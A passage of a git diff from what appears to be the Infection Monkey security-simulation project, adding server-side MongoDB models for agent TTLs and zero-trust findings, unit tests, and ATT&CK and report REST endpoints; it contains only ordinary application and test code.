the main Monkey document. + See https://docs.mongodb.com/manual/tutorial/expire-data/ and + https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663 + for more information about how TTL indexing works and why this class is set up the way it is. + + If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function. + If you wish to create an instance of this class directly, see the inner implementation of + create_ttl_expire_in(seconds) to see how to do so. + """ + + @staticmethod + def create_ttl_expire_in(expiry_in_seconds): + """ + Initializes a TTL object which will expire in expire_in_seconds seconds from when created. + Remember to call .save() on the object after creation. + :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration + that the cleanup thread of mongo might take extra time to delete the TTL from the DB. + """ + # Using UTC to make the mongodb TTL feature work. See + # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents. + return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds)) + + meta = { + 'indexes': [ + { + 'name': 'TTL_index', + 'fields': ['expire_at'], + 'expireAfterSeconds': 0 + } + ] + } + + expire_at = DateTimeField() + + +def create_monkey_ttl_document(expiry_duration_in_seconds): + """ + Create a new Monkey TTL document and save it as a document. + :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - depends on mongodb + performance. + :return: The TTL document. To get its ID use `.id`. + """ + # The TTL data uses the new `models` module which depends on mongoengine. + current_ttl = MonkeyTtl.create_ttl_expire_in(expiry_duration_in_seconds) + current_ttl.save() + return current_ttl diff --git a/monkey/monkey_island/cc/models/pba_results.py b/monkey/monkey_island/cc/models/pba_results.py new file mode 100644 index 000000000..d2cc48080 --- /dev/null +++ b/monkey/monkey_island/cc/models/pba_results.py @@ -0,0 +1,9 @@ +from mongoengine import EmbeddedDocument, StringField, ListField + + +class PbaResults(EmbeddedDocument): + ip = StringField() + hostname = StringField() + command = StringField() + name = StringField() + result = ListField() diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py new file mode 100644 index 000000000..9646d94bb --- /dev/null +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -0,0 +1,173 @@ +import uuid +from time import sleep + +from monkey import Monkey +from monkey_island.cc.models.monkey import MonkeyNotFoundError +from monkey_island.cc.testing.IslandTestCase import IslandTestCase +from monkey_ttl import MonkeyTtl + + +class TestMonkey(IslandTestCase): + """ + Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and + won't work. + + Also, the working directory needs to be the working directory from which you usually run the island so the + server_config.json file is found and loaded. + """ + + def test_is_dead(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + # Arrange + alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) + alive_monkey_ttl.save() + alive_monkey = Monkey( + guid=str(uuid.uuid4()), + dead=False, + ttl_ref=alive_monkey_ttl.id) + alive_monkey.save() + + # MIA stands for Missing In Action + mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) + mia_monkey_ttl.save() + mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl) + mia_monkey.save() + # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance. + sleep(1) + mia_monkey_ttl.delete() + + dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True) + dead_monkey.save() + + # act + assert + self.assertTrue(dead_monkey.is_dead()) + self.assertTrue(mia_monkey.is_dead()) + self.assertFalse(alive_monkey.is_dead()) + + def test_ttl_renewal(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + # Arrange + monkey = Monkey(guid=str(uuid.uuid4())) + monkey.save() + self.assertIsNone(monkey.ttl_ref) + + # act + assert + monkey.renew_ttl() + self.assertIsNotNone(monkey.ttl_ref) + + def test_get_single_monkey_by_id(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + # Arrange + a_monkey = Monkey(guid=str(uuid.uuid4())) + a_monkey.save() + + # Act + assert + # Find the existing one + self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id)) + # Raise on non-existent monkey + self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef") + + def test_get_os(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + linux_monkey = Monkey(guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64") + windows_monkey = Monkey(guid=str(uuid.uuid4()), + description="Windows bla bla bla") + unknown_monkey = Monkey(guid=str(uuid.uuid4()), + description="bla bla bla") + linux_monkey.save() + windows_monkey.save() + unknown_monkey.save() + + self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects()))) + self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects()))) + self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects()))) + + def test_get_tunneled_monkeys(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + linux_monkey = Monkey(guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine") + windows_monkey = Monkey(guid=str(uuid.uuid4()), + description="Windows bla bla bla", + tunnel=linux_monkey) + unknown_monkey = Monkey(guid=str(uuid.uuid4()), + description="bla bla bla", + tunnel=windows_monkey) + linux_monkey.save() + windows_monkey.save() + unknown_monkey.save() + tunneled_monkeys = Monkey.get_tunneled_monkeys() + test = bool(windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2) + self.assertTrue(test, "Tunneling test") + + def test_get_label_by_id(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + hostname_example = "a_hostname" + ip_example = "1.1.1.1" + linux_monkey = Monkey(guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine", + hostname=hostname_example, + ip_addresses=[ip_example]) + linux_monkey.save() + + cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info() + self.assertEquals(cache_info_before_query.hits, 0) + + # not cached + label = Monkey.get_label_by_id(linux_monkey.id) + + self.assertIsNotNone(label) + self.assertIn(hostname_example, label) + self.assertIn(ip_example, label) + + # should be cached + _ = Monkey.get_label_by_id(linux_monkey.id) + cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info() + self.assertEquals(cache_info_after_query.hits, 1) + + linux_monkey.set_hostname("Another hostname") + + # should be a miss + label = Monkey.get_label_by_id(linux_monkey.id) + cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info() + # still 1 hit only + self.assertEquals(cache_info_after_second_query.hits, 1) + self.assertEquals(cache_info_after_second_query.misses, 2) + + def test_is_monkey(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + a_monkey = Monkey(guid=str(uuid.uuid4())) + a_monkey.save() + + cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info() + self.assertEquals(cache_info_before_query.hits, 0) + + # not cached + self.assertTrue(Monkey.is_monkey(a_monkey.id)) + fake_id = "123456789012" + self.assertFalse(Monkey.is_monkey(fake_id)) + + # should be cached + self.assertTrue(Monkey.is_monkey(a_monkey.id)) + self.assertFalse(Monkey.is_monkey(fake_id)) + + cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() + self.assertEquals(cache_info_after_query.hits, 2) + diff --git a/monkey/monkey_island/cc/models/zero_trust/__init__.py b/monkey/monkey_island/cc/models/zero_trust/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py new file mode 100644 index 000000000..c3ed52649 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -0,0 +1,32 @@ +from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY +from monkey_island.cc.models.zero_trust.finding import Finding + + +class AggregateFinding(Finding): + @staticmethod + def create_or_add_to_existing(test, status, events): + """ + Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + test). + + :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + when this function should be used. + """ + existing_findings = Finding.objects(test=test, status=status) + assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + + if len(existing_findings) == 0: + Finding.save_finding(test, status, events) + else: + # Now we know for sure this is the only one + orig_finding = existing_findings[0] + orig_finding.add_events(events) + orig_finding.save() + + +def add_malicious_activity_to_timeline(events): + AggregateFinding.create_or_add_to_existing( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_VERIFY, + events=events + ) diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py new file mode 100644 index 000000000..6ad728d66 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -0,0 +1,36 @@ +from datetime import datetime + +from mongoengine import EmbeddedDocument, DateTimeField, StringField + +from common.data.zero_trust_consts import EVENT_TYPES + + +class Event(EmbeddedDocument): + """ + This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to + hold a detail of the Finding. + + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, or complex action we will perform - somewhat like an API. + """ + # SCHEMA + timestamp = DateTimeField(required=True) + title = StringField(required=True) + message = StringField() + event_type = StringField(required=True, choices=EVENT_TYPES) + + # LOGIC + @staticmethod + def create_event(title, message, event_type, timestamp=datetime.now()): + event = Event( + timestamp=timestamp, + title=title, + message=message, + event_type=event_type + ) + + event.validate(clean=True) + + return event diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py new file mode 100644 index 000000000..df4eb12f7 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -0,0 +1,60 @@ +# coding=utf-8 +""" +Define a Document Schema for Zero Trust findings. +""" + +from mongoengine import Document, StringField, EmbeddedDocumentListField + +from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY +# Dummy import for mongoengine. +# noinspection PyUnresolvedReferences +from monkey_island.cc.models.zero_trust.event import Event + + +class Finding(Document): + """ + This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a + specific principle of zero trust is upheld or broken. + + Findings might have the following statuses: + Failed ❌ + Meaning that we are sure that something is wrong (example: segmentation issue). + Verify ⁉ + Meaning that we need the user to check something himself (example: 2FA logs, AV missing). + Passed ✔ + Meaning that we are sure that something is correct (example: Monkey failed exploiting). + + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, or complex action we will perform - somewhat like an API. + """ + # SCHEMA + test = StringField(required=True, choices=TESTS) + status = StringField(required=True, choices=ORDERED_TEST_STATUSES) + events = EmbeddedDocumentListField(document_type=Event) + # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance + meta = {'allow_inheritance': True} + + # LOGIC + def get_test_explanation(self): + return TESTS_MAP[self.test][TEST_EXPLANATION_KEY] + + def get_pillars(self): + return TESTS_MAP[self.test][PILLARS_KEY] + + # Creation methods + @staticmethod + def save_finding(test, status, events): + finding = Finding( + test=test, + status=status, + events=events) + + finding.save() + + return finding + + def add_events(self, events): + # type: (list) -> None + self.events.extend(events) diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py new file mode 100644 index 000000000..32a450f57 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -0,0 +1,50 @@ +from mongoengine import StringField + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED +from monkey_island.cc.models.zero_trust.finding import Finding + + +def need_to_overwrite_status(saved_status, new_status): + return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED) + + +class SegmentationFinding(Finding): + first_subnet = StringField() + second_subnet = StringField() + + @staticmethod + def create_or_add_to_existing_finding(subnets, status, segmentation_event): + """ + Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the + event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will + remain so). + + :param subnets: the 2 subnets of this finding. + :param status: STATUS_PASSED or STATUS_FAILED + :param segmentation_event: The specific event + """ + assert len(subnets) == 2 + + # Sort them so A -> B and B -> A segmentation findings will be the same one. + subnets.sort() + + existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1]) + + if len(existing_findings) == 0: + # No finding exists - create. + new_finding = SegmentationFinding( + first_subnet=subnets[0], + second_subnet=subnets[1], + test=TEST_SEGMENTATION, + status=status, + events=[segmentation_event] + ) + new_finding.save() + else: + # A finding exists (should be one). Add the event to it. + assert len(existing_findings) == 1 + existing_finding = existing_findings[0] + existing_finding.events.append(segmentation_event) + if need_to_overwrite_status(existing_finding.status, status): + existing_finding.status = status + existing_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py new file mode 100644 index 000000000..c1a94166f --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -0,0 +1,53 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestAggregateFinding(IslandTestCase): + def test_create_or_add_to_existing(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_VERIFY + events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + def test_create_or_add_to_existing_2_tests_already_exist(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_VERIFY + event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) + events = [event] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 2) + + with self.assertRaises(AssertionError): + AggregateFinding.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py new file mode 100644 index 000000000..c0742407d --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -0,0 +1,32 @@ +from mongoengine import ValidationError + +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestEvent(IslandTestCase): + def test_create_event(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + with self.assertRaises(ValidationError): + _ = Event.create_event( + title=None, # title required + message="bla bla", + event_type=EVENT_TYPE_MONKEY_NETWORK + ) + + with self.assertRaises(ValidationError): + _ = Event.create_event( + title="skjs", + message="bla bla", + event_type="Unknown" # Unknown event type + ) + + # Assert that nothing is raised. + _ = Event.create_event( + title="skjs", + message="bla bla", + event_type=EVENT_TYPE_MONKEY_NETWORK + ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py new file mode 100644 index 000000000..88a33d5d3 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -0,0 +1,38 @@ +from mongoengine import ValidationError + +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestFinding(IslandTestCase): + """ + Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + won't work. + + Also, the working directory needs to be the working directory from which you usually run the island so the + server.json file is found and loaded. + """ + def test_save_finding_validation(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + with self.assertRaises(ValidationError): + _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[]) + + with self.assertRaises(ValidationError): + _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) + + def test_save_finding_sanity(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + + event_example = Event.create_event( + title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) + Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example]) + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1) + self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py new file mode 100644 index 000000000..80e564a17 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -0,0 +1,52 @@ +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding + + +class TestSegmentationFinding(IslandTestCase): + def test_create_or_add_to_existing_finding(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + first_segment = "1.1.1.0/24" + second_segment = "2.2.2.0-2.2.2.254" + third_segment = "3.3.3.3" + event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK) + + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[first_segment, second_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 1) + self.assertEquals(len(SegmentationFinding.objects()[0].events), 1) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[second_segment, first_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 1) + self.assertEquals(len(SegmentationFinding.objects()[0].events), 2) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[first_segment, third_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 2) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[second_segment, third_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 3) diff --git a/monkey/infection_monkey/transport/attack_telems/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py similarity index 100% rename from monkey/infection_monkey/transport/attack_telems/__init__.py rename to monkey/monkey_island/cc/resources/attack/__init__.py diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py new file mode 100644 index 000000000..da7651f24 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -0,0 +1,30 @@ +import flask_restful +import json +from flask import jsonify, request + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.attack.attack_config import AttackConfig + +__author__ = "VakarisZ" + + +class AttackConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(configuration=AttackConfig.get_config()['properties']) + + @jwt_required() + def post(self): + """ + Based on request content this endpoint either resets ATT&CK configuration or updates it. + :return: Technique types dict with techniques on reset and nothing on update + """ + config_json = json.loads(request.data) + if 'reset_attack_matrix' in config_json: + AttackConfig.reset_config() + return jsonify(configuration=AttackConfig.get_config()['properties']) + else: + AttackConfig.update_config({'properties': json.loads(request.data)}) + AttackConfig.apply_to_monkey_config() + return {} + diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py new file mode 100644 index 000000000..a55137d7e --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -0,0 +1,13 @@ +import flask_restful +from flask import jsonify +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.attack.attack_report import AttackReportService + +__author__ = "VakarisZ" + + +class AttackReport(flask_restful.Resource): + + @jwt_required() + def get(self): + return jsonify(AttackReportService.get_latest_report()['techniques']) diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py deleted file mode 100644 index bef0a8585..000000000 --- a/monkey/monkey_island/cc/resources/attack_telem.py +++ /dev/null @@ -1,24 +0,0 @@ -import flask_restful -from flask import request -import json -from monkey_island.cc.services.attack.attack_telem import set_results -import logging - -__author__ = 'VakarisZ' - -LOG = logging.getLogger(__name__) - - -class AttackTelem(flask_restful.Resource): - """ - ATT&CK endpoint used to retrieve matrix related info from monkey - """ - - def post(self, technique): - """ - Gets ATT&CK telemetry data and stores it in the database - :param technique: Technique ID, e.g. T1111 - """ - data = json.loads(request.data) - set_results(technique, data) - return {} diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index d402a440c..54a16f518 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -7,6 +7,7 @@ from flask import request, jsonify, make_response import flask_restful from monkey_island.cc.environment.environment import env +from monkey_island.cc.models import Monkey from monkey_island.cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses @@ -57,7 +58,7 @@ class LocalRun(flask_restful.Resource): NodeService.update_dead_monkeys() island_monkey = NodeService.get_monkey_island_monkey() if island_monkey is not None: - is_monkey_running = not island_monkey["dead"] + is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead() else: is_monkey_running = False diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 7eb7ecc69..8e523a8a7 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -2,10 +2,12 @@ import json from datetime import datetime import dateutil.parser -from flask import request import flask_restful +from flask import request +from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.database import mongo +from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService @@ -47,6 +49,9 @@ class Monkey(flask_restful.Resource): tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip) + ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) + update['$set']['ttl_ref'] = ttl.id + return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) # Used by monkey. can't secure. @@ -81,16 +86,16 @@ class Monkey(flask_restful.Resource): parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run if parent and parent != monkey_json.get('guid'): # current parent is known exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, + mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}, 'monkey_guid': {'$eq': parent}})] if 1 == len(exploit_telem): parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) else: parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: + elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, + mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] if 1 == len(exploit_telem): @@ -106,6 +111,9 @@ class Monkey(flask_restful.Resource): tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") monkey_json.pop('tunnel') + ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) + monkey_json['ttl_ref'] = ttl.id + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 78a092a26..d5b30e9a8 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -1,3 +1,4 @@ +import hashlib import json import logging import os @@ -83,9 +84,33 @@ class MonkeyDownload(flask_restful.Resource): if result: # change resulting from new base path - real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', result['filename']) + executable_filename = result['filename'] + real_path = MonkeyDownload.get_executable_full_path(executable_filename) if os.path.isfile(real_path): result['size'] = os.path.getsize(real_path) return result return {} + + @staticmethod + def get_executable_full_path(executable_filename): + real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', executable_filename) + return real_path + + @staticmethod + def log_executable_hashes(): + """ + Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). + """ + filenames = set([x['filename'] for x in MONKEY_DOWNLOADS]) + for filename in filenames: + filepath = MonkeyDownload.get_executable_full_path(filename) + if os.path.isfile(filepath): + with open(filepath, 'rb') as monkey_exec_file: + file_contents = monkey_exec_file.read() + logger.debug("{} hashes:\nSHA-256 {}".format( + filename, + hashlib.sha256(file_contents).hexdigest() + )) + else: + logger.debug("No monkey executable for {}.".format(filepath)) diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py deleted file mode 100644 index 62a014fef..000000000 --- a/monkey/monkey_island/cc/resources/report.py +++ /dev/null @@ -1,13 +0,0 @@ -import flask_restful - -from monkey_island.cc.auth import jwt_required -from monkey_island.cc.services.report import ReportService - -__author__ = "itay.mizeretz" - - -class Report(flask_restful.Resource): - - @jwt_required() - def get(self): - return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py new file mode 100644 index 000000000..8c5286fee --- /dev/null +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -0,0 +1,41 @@ +import httplib + + +import flask_restful +from flask import jsonify + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService + +ZERO_TRUST_REPORT_TYPE = "zero_trust" +SECURITY_REPORT_TYPE = "security" +REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] + +REPORT_DATA_PILLARS = "pillars" +REPORT_DATA_FINDINGS = "findings" +REPORT_DATA_PRINCIPLES_STATUS = "principles" + +__author__ = ["itay.mizeretz", "shay.nehmad"] + + +class Report(flask_restful.Resource): + + @jwt_required() + def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None): + if report_type == SECURITY_REPORT_TYPE: + return ReportService.get_report() + elif report_type == ZERO_TRUST_REPORT_TYPE: + if report_data == REPORT_DATA_PILLARS: + return jsonify({ + "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), + "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), + "grades": ZeroTrustService.get_pillars_grades() + } + ) + elif report_data == REPORT_DATA_PRINCIPLES_STATUS: + return jsonify(ZeroTrustService.get_principles_status()) + elif report_data == REPORT_DATA_FINDINGS: + return jsonify(ZeroTrustService.get_all_findings()) + + flask_restful.abort(httplib.NOT_FOUND) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 828a97682..d7cae8bd7 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -1,16 +1,18 @@ from datetime import datetime import logging +import threading import flask_restful from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.report import ReportService +from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.attack.attack_report import AttackReportService +from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports from monkey_island.cc.utils import local_ip_addresses -from monkey_island.cc.services.post_breach_files import remove_PBA_files +from monkey_island.cc.services.database import Database __author__ = 'Barak' @@ -18,15 +20,17 @@ logger = logging.getLogger(__name__) class Root(flask_restful.Resource): + def 